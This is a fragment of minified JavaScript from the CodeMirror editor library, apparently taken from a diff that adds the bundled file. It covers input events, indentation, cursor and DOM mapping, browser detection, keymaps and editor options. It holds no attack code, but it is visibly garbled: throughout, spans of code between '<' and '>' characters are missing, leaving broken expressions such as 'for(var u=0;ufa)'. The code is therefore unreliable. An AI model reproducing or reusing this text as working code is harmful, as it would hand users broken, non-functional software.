++new Date-Jf))sb(b);else if(!ka(a,b)&&!fb(a.display,b)&&(b.dataTransfer.setData("Text",a.getSelection()),b.dataTransfer.effectAllowed="copyMove",b.dataTransfer.setDragImage&&!bg)){var d=t("img",null,null,"position: fixed; left: 0; top: 0;");d.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";Ta&&(d.width=d.height=1,a.display.wrapper.appendChild(d),d._top=d.offsetTop);b.dataTransfer.setDragImage(d,0,0);Ta&&d.parentNode.removeChild(d)}},drop:ra(a,Lg),leave:function(b){ka(a,
+b)||If(a)}};var l=d.input.getField();L(l,"keyup",function(b){return Uf.call(a,b)});L(l,"keydown",ra(a,Tf));L(l,"keypress",ra(a,Vf));L(l,"focus",function(b){return Yd(a,b)});L(l,"blur",function(b){return xc(a,b)})}function Pc(a,b,c,d){var e=a.doc,h;null==c&&(c="add");"smart"==c&&(e.mode.indent?h=Ja(a,b).state:c="prev");var l=a.options.tabSize,n=A(e,b),m=k(n.text,null,l);n.stateAfter&&(n.stateAfter=null);var f=n.text.match(/^\s*/)[0];if(!d&&!/\S/.test(n.text)){var g=0;c="not"}else if("smart"==c&&(g=
+e.mode.indent(h,n.text.slice(f.length),n.text),g==yd||150e.first?k(A(e,b-1).text,null,l):0:"add"==c?g=m+a.options.indentUnit:"subtract"==c?g=m-a.options.indentUnit:"number"==typeof c&&(g=m+c);g=Math.max(0,g);c="";d=0;if(a.options.indentWithTabs)for(a=Math.floor(g/l);a;--a)d+=l,c+="\t";d=a.first+a.size?d=!1:(b=new z(d,b.ch,b.sticky),d=m=A(a,d));if(d)b=oe(e,a.cm,m,b.line,c);else return!1}else b=
+h;return!0}var l=b,n=c,m=A(a,b.line);if("char"==d)h();else if("column"==d)h(!0);else if("word"==d||"group"==d){var f=null;d="group"==d;for(var g=a.cm&&a.cm.getHelper(b,"wordChars"),k=!0;!(0>c)||h(!k);k=!1){var u=m.text.charAt(b.ch)||"\n";u=Q(u,g)?"w":d&&"\n"==u?"n":!d||/\s/.test(u)?null:"p";!d||k||u||(u="s");if(f&&f!=u){0>c&&(c=1,h(),b.sticky="after");break}u&&(f=u);if(0c?0>=l:l>=e.height){b.hitSide=!0;break}l+=5*c}return b}function ig(a,b){var c=Nd(a,b.line);if(!c||c.hidden)return null;var d=A(a.doc,b.line);c=Ge(c,d,b.line);d=Na(d,a.doc.direction);var e="left";d&&(e=Xa(d,b.ch)%2?"right":"left");c=He(c.map,b.ch,e);c.offset="right"==
+c.collapse?c.end:c.start;return c}function fh(a){for(;a;a=a.parentNode)if(/CodeMirror-gutter-wrapper/.test(a.className))return!0;return!1}function fc(a,b){b&&(a.bad=!0);return a}function gh(a,b,c,d,e){function h(a){return function(b){return b.id==a}}function l(a){a&&(f&&(m+=g,f=!1),m+=a)}function n(b){if(1==b.nodeType){var c=b.getAttribute("cm-text");if(null!=c)l(c||b.textContent.replace(/\u200b/g,""));else{c=b.getAttribute("cm-marker");var r;if(c)b=a.findMarks(z(d,0),z(e+1,0),h(+c)),b.length&&(r=
+b[0].find(0))&&l(S(a.doc,r.from,r.to).join(g));else if("false"!=b.getAttribute("contenteditable")){(r=/^(pre|div|p)$/i.test(b.nodeName))&&f&&(m+=g,f=!1);for(c=0;ce?m.map:f[e],l=0;le?a.line:a.rest[e]);e=h[l]+c;if(0>c||n!=b)e=h[l+(c?1:0)];return z(d,e)}}}var e=a.text.firstChild,h=!1;if(!b||!v(e,b))return fc(z(T(a.line),0),!0);
+if(b==e&&(h=!0,b=e.childNodes[c],c=0,!b))return c=a.rest?g(a.rest):a.line,fc(z(T(c),c.text.length),h);var l=3==b.nodeType?b:null,n=b;l||1!=b.childNodes.length||3!=b.firstChild.nodeType||(l=b.firstChild,c&&(c=l.nodeValue.length));for(;n.parentNode!=e;)n=n.parentNode;var m=a.measure,f=m.maps;if(b=d(l,n,c))return fc(b,h);e=n.nextSibling;for(l=l?l.nodeValue.length-c:0;e;e=e.nextSibling){if(b=d(e,e.firstChild,0))return fc(z(b.line,b.ch-l),h);l+=e.textContent.length}for(n=n.previousSibling;n;n=n.previousSibling){if(b=
+d(n,n.firstChild,-1))return fc(z(b.line,b.ch+c),h);c+=n.textContent.length}}var ya=navigator.userAgent,jg=navigator.platform,hb=/gecko\/\d/i.test(ya),kg=/MSIE \d/.test(ya),lg=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(ya),Rc=/Edge\/(\d+)/.exec(ya),R=kg||lg||Rc,fa=R&&(kg?document.documentMode||6:+(Rc||lg)[1]),va=!Rc&&/WebKit\//.test(ya),ih=va&&/Qt\/\d+\.\d+/.test(ya),hd=!Rc&&/Chrome\//.test(ya),Ta=/Opera\//.test(ya),bg=/Apple Computer/.test(navigator.vendor),jh=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(ya),
+Ag=/PhantomJS/.test(ya),Qc=!Rc&&/AppleWebKit/.test(ya)&&/Mobile\/\w+/.test(ya),id=/Android/.test(ya),gc=Qc||id||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(ya),Qa=Qc||/Mac/.test(jg),Yg=/\bCrOS\b/.test(ya),kh=/win/i.test(jg),Hb=Ta&&ya.match(/Version\/(\d*\.\d*)/);Hb&&(Hb=Number(Hb[1]));Hb&&15<=Hb&&(Ta=!1,va=!0);var Nf=Qa&&(ih||Ta&&(null==Hb||12.11>Hb)),re=hb||R&&9<=fa,Bb=function(a,b){var c=a.className,d=q(b).exec(c);if(d){var e=c.slice(d.index+d[0].length);a.className=c.slice(0,d.index)+
+(e?d[1]+e:"")}};var qc=document.createRange?function(a,b,c,d){var e=document.createRange();e.setEnd(d||a,c);e.setStart(a,b);return e}:function(a,b,c){var d=document.body.createTextRange();try{d.moveToElementText(a.parentNode)}catch(e){return d}d.collapse(!0);d.moveEnd("character",c);d.moveStart("character",b);return d};var Sc=function(a){a.select()};Qc?Sc=function(a){a.selectionStart=0;a.selectionEnd=a.value.length}:R&&(Sc=function(a){try{a.select()}catch(b){}});var Gb=function(){this.id=null};Gb.prototype.set=
+function(a,b){clearTimeout(this.id);this.id=setTimeout(b,a)};var yd={toString:function(){return"CodeMirror.Pass"}},$a={scroll:!1},se={origin:"*mouse"},Tc={origin:"+move"},Yc=[""],mg=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,ng=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/,
+Af=!1,ib=!1,lc=null,og=function(){function a(a){return 247>=a?"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN".charAt(a):1424<=a&&1524>=a?"R":1536<=a&&1785>=a?"nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111".charAt(a-
+1536):1774<=a&&2220>=a?"r":8192<=a&&8203>=a?"w":8204==a?"b":"L"}function b(a,b,d){this.level=a;this.from=b;this.to=d}var c=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,d=/[stwN]/,e=/[LRr]/,h=/[Lb1n]/,l=/[1n]/;return function(n,m){var f="ltr"==m?"L":"R";if(0==n.length||"ltr"==m&&!c.test(n))return!1;for(var r=n.length,k=[],u=0;ufa)return!1;var a=t("div");return"draggable"in a||"dragDrop"in a}(),Fd,Jd,ve=3!="\n\nb".split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;b<=d;){var e=a.indexOf("\n",b);-1==e&&(e=a.length);var h=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),l=h.indexOf("\r");-1!=l?(c.push(h.slice(0,l)),b+=
+l+1):(c.push(h),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},lh=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return b&&b.parentElement()==a?0!=b.compareEndPoints("StartToEnd",b):!1},Tg=function(){var a=t("div");if("oncopy"in a)return!0;a.setAttribute("oncopy","return;");return"function"==typeof a.oncopy}(),Pd=null,Hd={},Ob={},Pb={},la=function(a,b,c){this.pos=this.start=
+0;this.string=a;this.tabSize=b||8;this.lineStart=this.lastColumnPos=this.lastColumnValue=0;this.lineOracle=c};la.prototype.eol=function(){return this.pos>=this.string.length};la.prototype.sol=function(){return this.pos==this.lineStart};la.prototype.peek=function(){return this.string.charAt(this.pos)||void 0};la.prototype.next=function(){if(this.posb};la.prototype.eatSpace=function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a};la.prototype.skipToEnd=function(){this.pos=this.string.length};la.prototype.skipTo=function(a){a=this.string.indexOf(a,this.pos);if(-1this.maxLookAhead&&(this.maxLookAhead=a);return b};Ya.prototype.baseToken=function(a){if(!this.baseTokens)return null;for(;this.baseTokens[this.baseTokenPos]<=a;)this.baseTokenPos+=2;var b=this.baseTokens[this.baseTokenPos+
+1];return{type:b&&b.replace(/( |^)overlay .*/,""),size:this.baseTokens[this.baseTokenPos]-a}};Ya.prototype.nextLine=function(){this.line++;0fa&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};Ib.prototype.update=function(a){var b=a.scrollWidth>a.clientWidth+1,c=a.scrollHeight>a.clientHeight+1,d=a.nativeBarWidth;c?(this.vert.style.display="block",this.vert.style.bottom=b?d+"px":"0",this.vert.firstChild.style.height=Math.max(0,a.scrollHeight-a.clientHeight+(a.viewHeight-(b?d:0)))+"px"):(this.vert.style.display=
+"",this.vert.firstChild.style.height="0");b?(this.horiz.style.display="block",this.horiz.style.right=c?d+"px":"0",this.horiz.style.left=a.barLeft+"px",this.horiz.firstChild.style.width=Math.max(0,a.scrollWidth-a.clientWidth+(a.viewWidth-a.barLeft-(c?d:0)))+"px"):(this.horiz.style.display="",this.horiz.firstChild.style.width="0");!this.checkedZeroWidth&&0=K(a,d.to()))return c}return-1};var V=function(a,b){this.anchor=a;this.head=b};V.prototype.from=function(){return Va(this.anchor,
+this.head)};V.prototype.to=function(){return pa(this.anchor,this.head)};V.prototype.empty=function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch};Fc.prototype={chunkSize:function(){return this.lines.length},removeInner:function(a,b){for(var c=a,d=a+b;cthis.size-
+b&&(1=this.children.length)){var a=this;do{var b=a.children.splice(a.children.length-5,5);b=new Gc(b);if(a.parent){a.size-=b.size;a.height-=b.height;var c=H(a.parent.children,a);a.parent.children.splice(c+1,0,b)}else c=new Gc(a.children),c.parent=a,a.children=[c,b],a=c;b.parent=a.parent}while(10a.display.maxLineLength&&(a.display.maxLine=h,a.display.maxLineLength=l,a.display.maxLineChanged=!0);null!=c&&a&&this.collapsed&&Ba(a,c,d+1);this.lines.length=0;this.explicitlyCleared=!0;this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,a&&wf(a.doc));a&&ta(a,"markerCleared",a,this,c,d);b&&Eb(a);this.parent&&this.parent.clear()}};ob.prototype.find=function(a,b){null==
+a&&"bookmark"==this.type&&(a=1);for(var c,d,e=0;eK(n.head,n.anchor),a[h]=new V(n?m:l,n?l:m)):a[h]=new V(l,l)}a=new La(a,this.sel.primIndex)}b=a;for(a=d.length-1;0<=a;a--)$b(this,d[a]);b?tf(this,b):this.cm&&Vb(this.cm)}),undo:sa(function(){vd(this,
+"undo")}),redo:sa(function(){vd(this,"redo")}),undoSelection:sa(function(){vd(this,"undo",!0)}),redoSelection:sa(function(){vd(this,"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=M(this,a);b=M(this,b);var d=[],e=a.line;this.iter(a.line,b.line+1,function(h){if(h=h.markedSpans)for(var l=
+0;l=m.to||null==m.from&&e!=a.line||null!=m.from&&e==b.line&&m.from>=b.ch||c&&!c(m.marker)||d.push(m.marker.parent||m.marker)}++e});return d},getAllMarks:function(){var a=[];this.iter(function(b){if(b=b.markedSpans)for(var c=0;ca)return b=a,!0;a-=e;++c});return M(this,
+z(c,b))},indexFromPos:function(a){a=M(this,a);var b=a.ch;if(a.linea.ch)return 0;var c=this.lineSeparator().length;this.iter(this.first,a.line,function(a){b+=a.text.length+c});return b},copy:function(a){var b=new Ca(Jb(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);b.scrollTop=this.scrollTop;b.scrollLeft=this.scrollLeft;b.sel=this.sel;b.extend=!1;a&&(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory()));return b},linkedDoc:function(a){a||
+(a={});var b=this.first,c=this.first+this.size;null!=a.from&&a.from>b&&(b=a.from);null!=a.to&&a.toVc;Vc++)pb[Vc+48]=pb[Vc+96]=String(Vc);for(var Cd=65;90>=Cd;Cd++)pb[Cd]=
+String.fromCharCode(Cd);for(var Wc=1;12>=Wc;Wc++)pb[Wc+111]=pb[Wc+63235]="F"+Wc;var Jc={basic:{Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},pcDefault:{"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo",
+"Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection",
+"Alt-U":"redoSelection",fallthrough:"basic"},emacsy:{"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},macDefault:{"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo",
+"Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft",
+"Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]}};Jc["default"]=Qa?Jc.macDefault:Jc.pcDefault;var Kc={selectAll:yf,singleSelection:function(a){return a.setSelection(a.getCursor("anchor"),a.getCursor("head"),$a)},killLine:function(a){return dc(a,function(b){if(b.empty()){var c=A(a.doc,b.head.line).text.length;return b.head.ch==c&&b.head.linea.doc.first){var l=A(a.doc,e.line-1).text;l&&(e=new z(e.line,1),a.replaceRange(h.charAt(0)+a.doc.lineSeparator()+l.charAt(l.length-1),z(e.line-1,l.length-1),e,"+transpose"))}c.push(new V(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){return Ga(a,function(){for(var b=a.listSelections(),c=b.length-1;0<=c;c--)a.replaceRange(a.doc.lineSeparator(),b[c].anchor,b[c].head,"+input");
+b=a.listSelections();for(c=0;ca&&0==K(b,this.pos)&&c==this.button};var Nc,Mc,ec={toString:function(){return"CodeMirror.Init"}},$f={},Ad={};ia.defaults=$f;ia.optionHandlers=Ad;var te=[];ia.defineInitHook=
+function(a){return te.push(a)};var Ha=null,da=function(a){this.cm=a;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new Gb;this.composing=null;this.gracePeriod=!1;this.readDOMTimeout=null};da.prototype.init=function(a){function b(a){if(!ka(e,a)){if(e.somethingSelected())Ha={lineWise:!1,text:e.getSelections()},"cut"==a.type&&e.replaceSelection("",null,"cut");else if(e.options.lineWiseCopyCut){var b=eg(e);Ha={lineWise:!0,text:b.text};"cut"==a.type&&
+e.operation(function(){e.setSelections(b.ranges,0,$a);e.replaceSelection("",null,"cut")})}else return;if(a.clipboardData){a.clipboardData.clearData();var c=Ha.text.join("\n");a.clipboardData.setData("Text",c);if(a.clipboardData.getData("Text")==c){a.preventDefault();return}}var l=gg();a=l.firstChild;e.display.lineSpace.insertBefore(l,e.display.lineSpace.firstChild);a.value=Ha.text.join("\n");var m=document.activeElement;Sc(a);setTimeout(function(){e.display.lineSpace.removeChild(l);m.focus();m==h&&
+d.showPrimarySelection()},50)}}var c=this,d=this,e=d.cm,h=d.div=a.lineDiv;fg(h,e.options.spellcheck);L(h,"paste",function(a){ka(e,a)||dg(a,e)||11>=fa&&setTimeout(ra(e,function(){return c.updateFromDOM()}),20)});L(h,"compositionstart",function(a){c.composing={data:a.data,done:!1}});L(h,"compositionupdate",function(a){c.composing||(c.composing={data:a.data,done:!1})});L(h,"compositionend",function(a){c.composing&&(a.data!=c.composing.data&&c.readFromDOMSoon(),c.composing.done=!0)});L(h,"touchstart",
+function(){return d.forceCompositionEnd()});L(h,"input",function(){c.composing||c.readFromDOMSoon()});L(h,"copy",b);L(h,"cut",b)};da.prototype.prepareSelection=function(){var a=Se(this.cm,!1);a.focus=this.cm.state.focused;return a};da.prototype.showSelection=function(a,b){a&&this.cm.display.view.length&&((a.focus||b)&&this.showPrimarySelection(),this.showMultipleSelections(a))};da.prototype.showPrimarySelection=function(){var a=window.getSelection(),b=this.cm,c=b.doc.sel.primary(),d=c.from();c=c.to();
+if(b.display.viewTo==b.display.viewFrom||d.line>=b.display.viewTo||c.line=b.display.viewFrom&&ig(b,d)||{node:e[0].measure.map[2],offset:0},c=c.linea.firstLine()&&(d=z(d.line-1,A(a.doc,d.line-1).length));e.ch==A(a.doc,e.line).text.length&&e.lineb.viewTo-1)return!1;var h;d.line==b.viewFrom||0==(h=wb(a,d.line))?(c=T(b.view[0].line),h=b.view[0].node):(c=T(b.view[h].line),h=b.view[h-1].node.nextSibling);var l=wb(a,e.line);l==b.view.length-1?(e=b.viewTo-1,b=b.lineDiv.lastChild):
+(e=T(b.view[l+1].line)-1,b=b.view[l+1].node.previousSibling);if(!h)return!1;b=a.doc.splitLines(gh(a,h,b,c,e));for(h=S(a.doc,z(c,0),z(e,A(a.doc,e).text.length));1d.ch&&f.charCodeAt(f.length-l-1)==k.charCodeAt(k.length-l-1);)m--,l++;b[b.length-1]=f.slice(0,f.length-l).replace(/^\u200b+/,"");b[0]=b[0].slice(m).replace(/\u200b+$/,"");d=z(c,m);c=z(e,h.length?g(h).length-l:0);if(1fa&&h.scrollbars.setScrollTop(h.scroller.scrollTop=f);if(null!=l.selectionStart){(!R||R&&9>fa)&&b();var a=0,c=function(){h.selForContextMenu==e.doc.sel&&0==l.selectionStart&&0a++?h.detectingSelectAll=setTimeout(c,500):(h.selForContextMenu=
+null,h.input.reset())};h.detectingSelectAll=setTimeout(c,200)}}var d=this,e=d.cm,h=e.display,l=d.textarea,m=Ab(e,a),f=h.scroller.scrollTop;if(m&&!Ta){e.options.resetSelectionOnContextMenu&&-1==e.doc.sel.contains(m)&&ra(e,ua)(e.doc,gb(m),$a);var k=l.style.cssText,u=d.wrapper.style.cssText;d.wrapper.style.cssText="position: absolute";m=d.wrapper.getBoundingClientRect();l.style.cssText="position: absolute; width: 30px; height: 30px;\n top: "+(a.clientY-m.top-5)+"px; left: "+(a.clientX-m.left-5)+
+"px;\n z-index: 1000; background: "+(R?"rgba(255, 255, 255, .05)":"transparent")+";\n outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";if(va)var g=window.scrollY;h.input.focus();va&&window.scrollTo(null,g);h.input.reset();e.somethingSelected()||(l.value=d.prevInput=" ");d.contextMenuPending=!0;h.selForContextMenu=e.doc.sel;clearTimeout(h.detectingSelectAll);R&&9<=fa&&b();if(re){sb(a);var p=function(){ja(window,"mouseup",p);setTimeout(c,
+20)};L(window,"mouseup",p)}else setTimeout(c,50)}};oa.prototype.readOnlyChanged=function(a){a||this.reset();this.textarea.disabled="nocursor"==a};oa.prototype.setUneditable=function(){};oa.prototype.needsContentAttribute=!1;(function(a){function b(b,e,h,l){a.defaults[b]=e;h&&(c[b]=l?function(a,b,d){d!=ec&&h(a,b,d)}:h)}var c=a.optionHandlers;a.defineOption=b;a.Init=ec;b("value","",function(a,b){return a.setValue(b)},!0);b("mode",null,function(a,b){a.doc.modeOption=b;ge(a)},!0);b("indentUnit",2,ge,
+!0);b("indentWithTabs",!1);b("smartIndent",!0);b("tabSize",4,function(a){Cc(a);vc(a);Ba(a)},!0);b("lineSeparator",null,function(a,b){if(a.doc.lineSep=b){var c=[],d=a.doc.first;a.doc.iter(function(a){for(var e=0;;){var h=a.text.indexOf(b,e);if(-1==h)break;e=h+b.length;c.push(z(d,h))}d++});for(var e=c.length-1;0<=e;e--)ac(a.doc,b,c[e],z(c[e].line,c[e].ch+b.length))}});b("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200f\u2028\u2029\ufeff]/g,function(a,b,c){a.state.specialChars=new RegExp(b.source+
+(b.test("\t")?"":"|\t"),"g");c!=ec&&a.refresh()});b("specialCharPlaceholder",m,function(a){return a.refresh()},!0);b("electricChars",!0);b("inputStyle",gc?"contenteditable":"textarea",function(){throw Error("inputStyle can not (yet) be changed in a running editor");},!0);b("spellcheck",!1,function(a,b){return a.getInputField().spellcheck=b},!0);b("rtlMoveVisually",!kh);b("wholeLineUpdateBefore",!0);b("theme","default",function(a){Zf(a);Oc(a)},!0);b("keyMap","default",function(a,b,c){b=wd(b);(c=c!=
+ec&&wd(c))&&c.detach&&c.detach(a,b);b.attach&&b.attach(a,c||null)});b("extraKeys",null);b("configureMouse",null);b("lineWrapping",!1,dh,!0);b("gutters",[],function(a){ee(a.options);Oc(a)},!0);b("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?Vd(a.display)+"px":"0";a.refresh()},!0);b("coverGutterNextToScrollbar",!1,function(a){return Wb(a)},!0);b("scrollbarStyle","native",function(a){bf(a);Wb(a);a.display.scrollbars.setScrollTop(a.doc.scrollTop);a.display.scrollbars.setScrollLeft(a.doc.scrollLeft)},
+!0);b("lineNumbers",!1,function(a){ee(a.options);Oc(a)},!0);b("firstLineNumber",1,Oc,!0);b("lineNumberFormatter",function(a){return a},Oc,!0);b("showCursorWhenSelecting",!1,wc,!0);b("resetSelectionOnContextMenu",!0);b("lineWiseCopyCut",!0);b("pasteLinesPerSelection",!0);b("readOnly",!1,function(a,b){"nocursor"==b&&(xc(a),a.display.input.blur());a.display.input.readOnlyChanged(b)});b("disableInput",!1,function(a,b){b||a.display.input.reset()},!0);b("dragDrop",!0,ch);b("allowDropFileTypes",null);b("cursorBlinkRate",
+530);b("cursorScrollMargin",0);b("cursorHeight",1,wc,!0);b("singleCursorHeightPerLine",!0,wc,!0);b("workTime",100);b("workDelay",100);b("flattenSpans",!0,Cc,!0);b("addModeClass",!1,Cc,!0);b("pollInterval",100);b("undoDepth",200,function(a,b){return a.doc.history.undoDepth=b});b("historyEventDelay",1250);b("viewportMargin",10,function(a){return a.refresh()},!0);b("maxHighlightLength",1E4,Cc,!0);b("moveInputWithCursor",!0,function(a,b){b||a.display.input.resetPosition()});b("tabindex",null,function(a,
+b){return a.display.input.getField().tabIndex=b||""});b("autofocus",null);b("direction","ltr",function(a,b){return a.doc.setDirection(b)},!0)})(ia);(function(a){var b=a.optionHandlers,c=a.helpers={};a.prototype={constructor:a,focus:function(){window.focus();this.display.input.focus()},setOption:function(a,c){var d=this.options,e=d[a];if(d[a]!=c||"mode"==a)d[a]=c,b.hasOwnProperty(a)&&ra(this,b[a])(this,c,e),ca(this,"optionChange",this,a)},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},
+addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](wd(a))},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;cc&&(Pc(this,m.head.line,a,!0),c=m.head.line,d==this.doc.sel.primIndex&&
+Vb(this));else{var f=m.from();m=m.to();var k=Math.max(c,f.line);c=Math.min(this.lastLine(),m.line-(m.ch?0:1))+1;for(m=k;m>1;if((m?
